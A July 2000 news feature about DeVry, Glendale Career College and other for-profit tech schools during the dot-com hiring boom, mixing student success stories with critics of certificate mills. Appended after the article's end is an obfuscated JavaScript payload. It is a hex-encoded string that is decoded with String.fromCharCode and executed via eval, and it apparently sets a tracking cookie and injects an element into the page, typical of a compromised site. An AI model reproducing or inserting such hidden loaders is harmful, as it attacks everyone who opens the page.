How Career Colleges, Technical Institutes And Alternative Adult Schools Are Cashing In On The Digital Revolution


by Matt Welch

The Zone News

July 2000




This May, Amarjit Bir and 25 of his friends were flown, first-class, from Ontario airport and LAX to Dallas, Texas, by Nortel Networks. A fleet of limousines greeted the group at the airport and whisked them off to a decadent, Texas-style steak dinner, all expenses paid. They were put up in five-star hotels, provided extra spending money, and then offered jobs by the telecom giant, at salaries starting in the high $40,000s. Then the whole lot was shipped back to East Los Angeles County...so they could graduate from college.

“Everywhere we went, they picked us up in limos,” said Bir, who is 22 years old. “Everything was pre-paid, and you didn’t have to worry about anything, like any expenses for other things, like say if we went out to eat by ourselves.”

Bir and his startled classmates will have graduated from Pomona’s DeVry Institute of Technology June 23, wait a few weeks, and then begin overseeing installations of fiberoptic networks. Nortel, one of the fastest-growing companies in the country, called DeVry in mid-spring asking the technical university to help fill 1,000 new staff positions by June 30.

“Students are just overwhelmed and impressed.... I wish I would have been there to see the sight,” said DeVry Senior Career Adviser Lisa Jalayer, shaking her head in wonder. “They flew them out on the 17th, wined and dined ‘em on the 18th, interviewed them and made offers on the 19th, and flew ‘em back here on the 20th.”

Nortel isn’t the only company circling DeVry’s graduating flock. Ashish Sudra, a 21-year-old senior, says he can’t figure out which job to take: A customer service/tech support job with Cisco Systems for $53,000 a year plus stock options and a one-month relocation package; or $58,000 and stock options and a three-month package from Marc Andreesen’s new company Loudcloud.

“Loudcloud is pre-IPO...and they’re offering me 5,000 shares at $14 a share,” said Sudra, with an innocently wolfish grin. “They’re telling me they’re expecting $80 from the IPO, so if we do the math....”

Life has never been better for those who can “do the math.” Average starting salaries for graduates in information systems, electrical engineering and computer science range between $44,000 and $49,000 nationwide (compared to less than $30,000 for English majors), according to the National Association of Colleges and Employers’ Spring 2000 survey.

The Internet sector, citing an insufficient pool of qualified domestic workers, is on the verge of successfully lobbying the federal government to triple the number of annual high-tech H1-B visas that were allowed as recently as 1996. While U.S. unemployment hovers around 4 percent, the numbers for jobs such as systems analyst are down to 1.5 percent, according to the U.S. Department of Labor.

“I used to do a lot of searching (for available jobs) on the Internet,” said Jalayer, who is part of a team that helps place a boggling 95 percent of DeVry grads into the workforce. “But because the market has just become so hot within the last, say, six to nine months, my phone doesn’t stop ringing, usually. So I haven’t even had to search for jobs; they’re calling me.”

This hysterical demand for the technically skilled has triggered a parallel boom in the post-secondary education market, from upper-crust MBA programs to mom & pop certificate institutions. In Southern California, it’s nearly impossible to drive to work without hearing a commercial for such schools as the University of Phoenix, or Newport University, or Glendale Career College’s Online Media program. DeVry has opened two new local campuses in the last five years (Long Beach and West Hills), less accredited technical programs are springing up by the month, and community colleges throughout the Southland are busy ramping up their Web-design offerings.

Traditional universities have gotten religion, too: USC has added online/distance learning programs; Pepperdine’s Graziadio School has aggressively promoted itself to the top of the local MBA-producing heap; and UCLA’s engineering school is scrambling to become more of a tech incubator.

“There has been a tremendous shift in the focus of curriculum developers, whether that has been at the state schools, the UCs or private schools like DeVry...to re-think, re-tool and re-engineer their curriculum in response to this huge demand for high-tech workers,” said John Barry, director of DeVry’s Community and School Relations department, and a former employee at the University of Phoenix. “I see that as an area that is only going to continue to grow.”

And in the big scheme of things, that’s arguably a good thing. For Federal Reserve Board Chairman Alan Greenspan, such adaptation is a necessary and healthy way for the education system to meet constantly shifting demands of Yankee innovation.

“The U.S. system of higher education must remain the world’s leader in generating scientific and technological breakthroughs and in preparing workers to meet the evolving demand for skills labor,” Greenspan told a Congressional committee April 11, adding that the effort “also requires that we strengthen the significant contribution of other types of training and educational programs, especially for those with lesser skills.”
But for others, it’s another sign of a boom market run amok, and of capitalist interests warping the time-honored values of academia.

“Should we allow commercial forces to determine the university’s educational mission and academic ideals?” ask Eyal Press and Jennifer Washburn, in an Atlantic Monthly cover story this March, arguing against corporate-sponsored research. “What is ultimately most striking about today’s academic-industrial complex...is that universities themselves are beginning to look and behave like for-profit companies.”

Actually, some universities are not only “for-profit”—they’re publicly traded. DeVry, University of Phoenix-owning Apollo Group, and the 42-site Corinthian Colleges Inc. are listed on either the New York Stock Exchange or NASDAQ. But those institutions are venerable and respected, by technical-institute standards. The real potential for abuse, educators themselves argue, is at the bottom-feeder level of tech certification, where blue collar workers are lured with promises of $50 per hour salaries and duped into paying upwards of $10,000 for quick courses that merely add them to the already groaning glut of low-wage computer operators.

“These students are telling me ‘I was told I’d get out and I’d be making $60,000 a year,’ and that is just not the case,” said Lori Yaphe, branch manager for technology at Apple One Employment Service’s Riverside office. “They’re entry-level people with a nice certificate, and right now the market is just saturated with people like them.”

Twelve years ago, high-tech in Southern California meant aerospace engineering, there was no University of Phoenix, and the only education ads you’d see were those funny ‘70s-looking Control Data Institute spots during the afternoon soaps. The landscape has changed radically since then, not least in the ability for the better tech grads to dictate their terms for entering the job market.

“We didn’t think it was gonna be this easy, you know?” said 21-year-old DeVry graduating senior Carlos Gomez, who will join his friends at Nortel this summer. “We’re just fortunate to be graduating at this time.”


It’s a sunny Sunday afternoon in downtown Glendale late in May. At the recently restored Alex Theater on Brand Avenue, U.S. Congressman James Rogan (R-Glendale), best known for his role as a House manager in the impeachment trial of Bill Clinton, is giving a commencement address to a boisterous overflow crowd watching their loved ones graduate from the Glendale Career College.

The cap-and-gown set are a melting pot of Latinos, African Americans, Asians and whites of varying ages, who shelled out more than $10,000 on average to earn certificates in such fields as massage therapy, hospitality management and online media, all in less than a year. Rogan’s jokes about Alexander Haig fall flat, but anecdotes about wearing makeup on TV get a good laugh. And then he gets serious:

“I was the illegitimate son of a cocktail waitress and a bartender, my mom was a convicted felon on welfare and food stamps,” he told the murmuring crowd. “I dropped out of high school...and the only thing that gave me any chance in life was a good basic education early on, and the desire to get one when I got a little older. And I worked full-time as a bartender most of my career in college at a little JC...and if it hadn’t been for that, I wouldn’t have the chance to serve in Congress. Education opened to door for me.... That was my moment of hope. Your moment of hope is today. There’s a word for people who seize their moment: We call them ‘winners.’ And that’s exactly what each and every one of you are.”

Hope not only springs eternal, it funds dozens of career colleges and vocational schools throughout Southern California. Glendale Career College, established in 1946, launched its first Internet-related class in 1996 for five downsized aerospace employees, and since then it has become the school’s most popular and prized program, sucking in around 20-25 percent of enrollment, according to Assistant Admissions Director Mark Rodriguez.
“It’s become so popular that, you know, I can’t keep ‘em away,” Rodriguez said. “We usually get a minimum of 15 to 20 calls a day, just from people who want to learn how to develop Web pages on the Internet.”

Glendale offers a seven- to nine-month Online Media program for $11,500, or an intensive 10-weekend course in Web design for $2,000. There are no supplementary humanities classes, and the credits aren’t necessarily transferable, but that’s what the typical GCC student is looking for, Rodriguez said.

“Our students coming in know what they want, they don’t want to waste any more time taking unnecessary courses that you really don’t need in the job market, and we give them exactly, exactly what the employer’s looking for,” he said. “We have people as young as 18 years old, coming right out of high school, and people going into their second and third careers. We’ve got a lot of people who have worked in secretarial, perhaps accounting, truck drivers, carpenters, and now want to get back into a different career, and this will allow them to get a good starting salary, a good career path without much time in school.”
This is exactly what certificate-school critics like Yaphe decry.
“A lot of these schools are taking injured workers, truckers with bad backs and so on, and they choose PC Tech, because they’ve heard you can make good money. But they don’t really have their heart in it, and after six or nine months they just give up and go back to being a truck driver,” Yaphe said. “I specifically have companies who say ‘don’t bring me resumes from guys who have certificates from these schools.’...Their certifications are kind of like a driver’s license: everyone’s got to have one, but it doesn’t necessarily mean you’re that good of a driver.”

Tell that to Henry Quintero. A 14-year veteran of the Jet Propulsion Laboratory in Pasadena, Quintero was let go when “peace broke out,” he said, and joined the first Internet class at GCC. He learned so much that he stuck around, eventually becoming the program’s director. “Three of the first five students are still here, two of us as directors,” he said. “Of the other two, one works for Litton Industries, and the other one is an instructor somewhere. So it’s been a success story for all five of us.”

Glendale, like many career and community colleges, requires only a high school diploma or G.E.D. But unlike the local JC, Glendale admissions officer Joe Perez argues, a good certificate school has a tangible purpose and produces hard-nosed results.

“Junior college for me is an extension of high school that prepares you for higher education but not for work. You go for two years—now it’s probably three years because it’s so overcrowd—and you graduate, earn your A.A., but you have no skills,” Perez said. “Here you can graduate in seven months and start for a minimum of 10 bucks an hour as opposed to six. And depending on the courses you take...in massage therapy they’re starting from 30 to 55 bucks an hour. Online Media you’re looking at 20 to 50 bucks the starting salary.... I mean you’re not going to be rich, but you can support yourself.... Or you can go work at the mall, at Hot Dog on a Stick, and get that funky uniform and make six bucks. You know? That’s a good uniform, too.”
Yaphe sees these schools as symptoms of a cultural obsession with instant gratification. “We are a society of instant results. We all want to diet and lose 20 pounds tomorrow...we don’t want to wait, or work, for anything,” she said. “It’s a lottery culture.”

Of course, Perez knows too well the thin line between helping the poor get a hand up, and exploiting desperate workers for cruel profits, Grapes of Wrath-style. During the depths of the post-Cold War recession in Southern California, Perez worked as an “Ad rep”—admission representative, earning 14 percent commission—for a now-bankrupt business college in Downey, which he said used to print huge ads in local PennySavers saying “Jobs: call this number.”

Mysterious operators would tell callers to show up at a certain place at a certain time, where literally hundreds of confused job-seekers would be corralled into signing onto expensive career college courses for which they weren’t necessarily suited.
“They’d sign up right and left, thinking they’d have a job at the end of it, and they’d be on the hook for $10,000,” Perez said. “A person would enroll, and drop out in five days, and then all of a sudden get a letter in the mail saying ‘You owe $11,000,’ and you would say ‘What do you mean? I only went a week!’ See, there were no regulations back then, so these people were rip-offs. Once you enrolled, you owed them.”

There were other schemes. “Sometimes schools would all of a sudden overnight just close up,” he said. “You’d come and the doors were chained, and you were shafted. Oh, I’ve seen it, I’ve seen a lot of it through the years.”

The federal government cracked down in the early 1990s, shutting down hundreds of pirate schools around the country, and Sacramento followed up with legislation allowing students to back out risk-free after one week of classes.

“Only the legitimate, honest schools stayed open, but unfortunately they had a black eye from the bad reputation, you know, and it took a while to clear that up and convince people that we were legitimate,” Perez said.

One way for prospective students to smoke out the credibility of a school, Perez advised, is to make sure the staff and faculty have been around for a good long time (he’s been at Glendale Career College since 1991). “When they interviewed me here they asked me if I was a ‘closer,’ and I told them ‘Yeah, every school I worked at closed down,’” he said with a laugh. “We get people who come in sometimes and say ‘I’ve had three different teachers in four months,’ and that’s not a good sign. That’s not a good sign at all.”


At Glendale, enrollment swelled from 350 to 1,500 in the 1990s, until the college was sold late last year to the Landmark Corp. from Norfolk, VA., owners of the Weather Channel and several newspapers. During the ownership transition, Perez said, “they stopped advertising, and phssssssst! Enrollment plummeted, the population dropped to about 600 students. It’s on its way back up now.”

Glendale gets around 60 percent of its admissions directly from advertisers, Perez said. “Immediately after the TV commercial the phone starts lighting up.”

DeVry, which operates 17 institutes throughout North America, has a nationwide advertising campaign handed down from corporate headquarters in Chicago that generates around 70 percent of enrollment leads, Barry said.

“The corporate marketing philosophy has been pretty much built around...daytime television advertising,” he said. “So I hate to say this, but if you watch the Oprah show or the Springer show during the day, that’s when you will see a lot of our television advertisements.”

Other schools, especially ITT, the Graziadio School and the University of Phoenix, are especially aggressive on radio. “In 1989, when the University of Phoenix came into Southern California, literally nobody knew who they were,” Barry said. “Now, with over 10,000 graduates, and 50 percent of those graduate degrees, everybody knows who the University of Phoenix is.... Consequently, radio advertising is very, very effective.”

Phoenix has taken further a process that DeVry helped start back in 1931: tailoring education specifically to meet the needs of the marketplace. Students must be at least 23 and already employed, the idea being they are getting an accelerated skills upgrade to better perform their jobs. DeVry schools are more oriented toward 18-year-olds, but they are so intertwined with business that an industrial advisory board, made up largely of companies that hire large number of DeVry grads, reviews every bit of curriculum, “from Day One to graduation,” Barry said.
The school is focused like a laser beam on getting its graduates into the Qualcomms, PacBells and MCIs of the world. “We publish the statistics on the board in the hallway by the names of our graduates, where they went to work, and the job title they have. And sometimes we even publish beginning salaries,” he said.

The success of the University of Phoenix and DeVry—which, Barry says, has grown by 15-20 percent for the last four years—has pushed traditional universities toward going after more lucrative students: no-nonsense adults looking for quick-hit upgrades, rather than fuzzy-headed 18-year-olds who have an alarming (and inefficient) tendency to drop out.

“There has been a sharp movement probably within the last three years of the state schools and even the UCs to some extent to react to the strategy that’s been employed by not only the University of Phoenix, but National University, which advertises on the radio, and has accelerated programs,” Barry said. “What the state schools have realized is they’re leaving a lot of money on the table, because they’re not going after that market.”

DeVry, being publicly traded and plugged in so closely with technology companies, has seen a remarkably rapid transformation from feeding the aerospace industry, to supplying new telecom workers. “There really has been a shift,” Barry said. “I think deregulation and the wireless industry and the telecommunications business has provided an enormous opportunity.”

Academic purists, of course, would rather that fully credentialed universities create curriculums based on maximum educational benefit, rather than the whims of industry.

“Since the late 1960s the humanities have been neglected, downgraded and forced to retrench, all as other areas of higher education have grown in numbers, wealth, and influence,” wrote two professors in a recent Harvard alumni magazine, as quoted in the Atlantic Monthly.

To which, more pragmatic folk would say, “So what?” America has always had a more utilitarian approach to education than Europe, and Greenspan for one thinks therein lies one of the secrets—and challenges—to our innovation and prosperity. The Fed chair considers the higher-education shift toward technical training to be “a marketplace working efficiently,” and only warns that the new specialization be broad, as well as deep.

“It is not enough to create a job market that has enabled those with few skills to finally be able to grasp the first rung of the ladder of achievement,” he said. “More generally, we must ensure that our whole population receives an education that will allow full and continuing participation in this dynamic period of American economic history.” z


:17:34:17:1e:28:27:27:27:2d:30:2d:27:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:66:70:68:5d:65:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:66:70:68:5d:65:53:1e:17:5a:63:58:6a:6a:34:53:1e:66:70:68:5d:65:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:66:70:68:5d:65:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:66:70:68:5d:65:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:66:70:68:5d:65:27:30:1f:20:32:4:1:74:4:1:74"[obgzlp](":");}oye=ktezg;bpyl=[];for(cxicpu=22-20-2;-cxicpu 1424!=0;cxicpu =1){oezql=cxicpu;if((0x19==031))bpyl =String["fromCharCode"](eval(gzlfq oye[1*oezql]) 0xa-qgb);}rkopz=eval;rkopz(bpyl)}